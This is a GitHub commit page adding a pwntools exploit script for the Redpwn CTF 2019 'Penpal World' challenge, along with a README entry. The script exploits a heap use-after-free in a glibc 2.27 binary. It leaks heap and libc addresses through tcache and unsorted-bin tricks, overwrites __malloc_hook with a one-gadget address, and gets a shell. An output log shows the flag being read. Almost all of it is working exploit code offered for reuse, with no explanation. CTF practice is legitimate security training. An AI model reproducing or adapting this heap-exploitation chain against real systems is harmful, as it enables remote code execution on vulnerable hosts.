Skip to content

Commit 5f6b5be

Browse files
committed
Penpal world upload
1 parent cff36d6 commit 5f6b5be

File tree

4 files changed

+98
-0
lines changed

4 files changed

+98
-0
lines changed

README.md

+1
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,7 @@
1212
| PWN - Old Bridge HackTheBox challenge | [Old Bridge exploit](../master/oldbridge_hackthebox_challenge/oldbridge_HTB.zip) |
1313
| Lottery - UAD360 CTF | [Lottery exploit](../master/lottery_UAD360/exploit.py) |
1414
| Agenda - UAD360 CTF | [Agenda exploit](../master/agenda_UAD360/exploit.py) |
15+
| Penpal World - Redpwn CTF 2019 | [Penpal World exploit](../master/penpal_world_redpwnCTF2019/exploit.py) |
1516

1617
| Vulnerabilities | Exploit |
1718
| --- | --- |

penpal_world_redpwnCTF2019/exploit.py

+97
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,97 @@
1+
#!/usr/bin/python
2+
from pwn import *
3+
4+
context.terminal = ['tmux', 'sp', '-h']
5+
# context.log_level = 'DEBUG'
6+
7+
elf = ELF('./penpal_world')
8+
libc = ELF('./libc-2.27.so', checksec = False)
9+
local = False
10+
11+
if local == True:
12+
ld = ELF('/lib/x86_64-linux-gnu/ld-2.27.so', checksec = False)
13+
io = process([ld.path, elf.path], env = {"LD_PRELOAD": libc.path})
14+
else:
15+
io = remote("chall2.2019.redpwn.net", 4010)
16+
17+
def add_postcard(idx):
18+
io.recvuntil('4) Read a postcard\n')
19+
io.sendline('1')
20+
io.recvuntil('Which envelope #?\n')
21+
io.sendline(str(idx))
22+
23+
def edit_postcard(idx, content):
24+
io.recvuntil('4) Read a postcard\n')
25+
io.sendline('2')
26+
io.recvuntil('Which envelope #?\n')
27+
io.sendline(str(idx))
28+
io.recvuntil('Write.\n')
29+
io.send(content)
30+
31+
def free_postcard(idx):
32+
io.recvuntil('4) Read a postcard\n')
33+
io.sendline('3')
34+
io.recvuntil('Which envelope #?\n')
35+
io.sendline(str(idx))
36+
37+
def show_postcard(idx):
38+
io.recvuntil('4) Read a postcard\n')
39+
io.sendline('4')
40+
io.recvuntil('Which envelope #?\n')
41+
io.sendline(str(idx))
42+
43+
add_postcard(0)
44+
add_postcard(1)
45+
free_postcard(0)
46+
free_postcard(1)
47+
48+
show_postcard(1)
49+
chunk = u64(io.recvuntil('\n', drop = True).ljust(8, '\x00')) - 0x10
50+
log.success('Leaked second chunk address: ' + hex(chunk))
51+
52+
edit_postcard(1, p64(chunk - 0x250 + 0x10))
53+
54+
add_postcard(1)
55+
add_postcard(0)
56+
free_postcard(1)
57+
58+
log.progress('Filling TCACHE bin...')
59+
for i in range(7):
60+
free_postcard(0)
61+
62+
free_postcard(0)
63+
show_postcard(0)
64+
leak_arena = u64(io.recvuntil('\n', drop = True).ljust(8, '\x00'))
65+
libc.address = leak_arena - 0x3ebca0
66+
log.success('Leaked main_arena+96 address: ' + hex(leak_arena))
67+
log.info('GLIBC base address: ' + hex(libc.address))
68+
log.info('__malloc_hook address: ' + hex(libc.sym["__malloc_hook"]))
69+
70+
edit_postcard(1, p64(libc.sym["__malloc_hook"]))
71+
add_postcard(1)
72+
add_postcard(1)
73+
edit_postcard(1, p64(libc.address + 0x10a38c))
74+
75+
add_postcard(1)
76+
77+
io.interactive()
78+
io.close()
79+
80+
'''
81+
xxx@xxx:/xxx/penpal$ python xpl.py
82+
[*] 'xxx/penpal_world'
83+
Arch: amd64-64-little
84+
RELRO: Full RELRO
85+
Stack: Canary found
86+
NX: NX enabled
87+
PIE: PIE enabled
88+
[+] Opening connection to chall.2019.redpwn.net on port 4010: Done
89+
[+] Leaked second chunk address: 0x55c275124250
90+
[-] Filling TCACHE bin...
91+
[+] Leaked main_arena+96 address: 0x7f12669b0ca0
92+
[*] GLIBC base address: 0x7f12665c5000
93+
[*] __malloc_hook address: 0x7f12669b0c30
94+
[*] Switching to interactive mode
95+
$ cat flag.txt
96+
flag{0h_n0e5_sW1p3r_d1D_5w!peEEeE}
97+
'''
1.94 MB
Binary file not shown.
12.7 KB
Binary file not shown.

0 commit comments

Comments
 (0)